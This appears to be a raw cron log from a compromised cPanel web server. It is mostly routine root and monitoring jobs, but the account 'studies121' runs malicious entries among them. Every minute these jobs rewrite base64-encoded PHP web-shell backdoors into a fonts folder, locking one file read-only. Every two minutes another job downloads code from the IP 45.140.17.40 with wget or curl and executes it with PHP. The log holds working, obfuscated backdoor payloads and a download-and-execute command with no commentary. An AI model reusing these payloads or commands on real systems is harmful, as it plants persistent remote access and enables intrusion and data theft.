Feb 22 06:01:01 ip-184-168-122-23 CROND[3021]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 06:01:01 ip-184-168-122-23 CROND[3020]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 06:01:01 ip-184-168-122-23 CROND[3022]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 06:01:01 ip-184-168-122-23 CROND[3023]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 06:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[3019]: starting 0anacron
Feb 22 06:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[3040]: finished 0anacron
Feb 22 06:02:01 ip-184-168-122-23 CROND[3350]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 06:02:01 ip-184-168-122-23 CROND[3353]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 06:02:01 ip-184-168-122-23 CROND[3352]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 06:02:01 ip-184-168-122-23 CROND[3355]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 06:02:01 ip-184-168-122-23 CROND[3354]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 06:03:01 ip-184-168-122-23 CROND[3672]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 06:03:02 ip-184-168-122-23 CROND[3674]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 06:03:02 ip-184-168-122-23 CROND[3675]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 06:03:02 ip-184-168-122-23 CROND[3678]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 06:04:01 ip-184-168-122-23 CROND[4035]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 06:04:01 ip-184-168-122-23 CROND[4037]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 06:04:01 ip-184-168-122-23 CROND[4038]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 06:04:01 ip-184-168-122-23 CROND[4039]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 06:04:01 ip-184-168-122-23 CROND[4041]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 06:05:01 ip-184-168-122-23 CROND[4346]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 06:05:01 ip-184-168-122-23 CROND[4345]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 06:05:01 ip-184-168-122-23 CROND[4347]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 06:05:01 ip-184-168-122-23 CROND[4350]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 06:05:01 ip-184-168-122-23 CROND[4353]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 06:05:01 ip-184-168-122-23 CROND[4354]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Feb 22 06:05:01 ip-184-168-122-23 CROND[4352]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 06:06:01 ip-184-168-122-23 CROND[4760]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 06:06:01 ip-184-168-122-23 CROND[4761]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 06:06:01 ip-184-168-122-23 CROND[4764]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 06:06:01 ip-184-168-122-23 CROND[4763]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 06:06:01 ip-184-168-122-23 CROND[4765]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 06:07:01 ip-184-168-122-23 CROND[5066]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 06:07:01 ip-184-168-122-23 CROND[5069]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 06:07:01 ip-184-168-122-23 CROND[5067]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 06:07:01 ip-184-168-122-23 CROND[5068]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 06:08:01 ip-184-168-122-23 CROND[5372]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 06:08:01 ip-184-168-122-23 CROND[5373]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 06:08:01 ip-184-168-122-23 CROND[5375]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 06:08:01 ip-184-168-122-23 CROND[5378]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 06:08:01 ip-184-168-122-23 CROND[5381]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 06:09:01 ip-184-168-122-23 CROND[5695]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 06:09:01 ip-184-168-122-23 CROND[5696]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 06:09:01 ip-184-168-122-23 CROND[5698]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 06:09:01 ip-184-168-122-23 CROND[5700]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 06:09:01 ip-184-168-122-23 CROND[5702]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Feb 22 06:10:01 ip-184-168-122-23 CROND[6034]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 06:10:01 ip-184-168-122-23 CROND[6036]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Feb 22 06:10:01 ip-184-168-122-23 CROND[6037]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 06:10:01 ip-184-168-122-23 CROND[6038]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 06:10:01 ip-184-168-122-23 CROND[6042]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 06:10:01 ip-184-168-122-23 CROND[6039]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 06:10:01 ip-184-168-122-23 CROND[6040]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 06:10:01 ip-184-168-122-23 CROND[6041]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 06:11:01 ip-184-168-122-23 CROND[6463]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 06:11:01 ip-184-168-122-23 CROND[6466]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 06:11:01 ip-184-168-122-23 CROND[6465]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 06:11:01 ip-184-168-122-23 CROND[6467]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 06:12:01 ip-184-168-122-23 CROND[6774]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 06:12:01 ip-184-168-122-23 CROND[6775]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 06:12:01 ip-184-168-122-23 CROND[6776]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 06:12:01 ip-184-168-122-23 CROND[6780]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 06:12:01 ip-184-168-122-23 CROND[6777]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
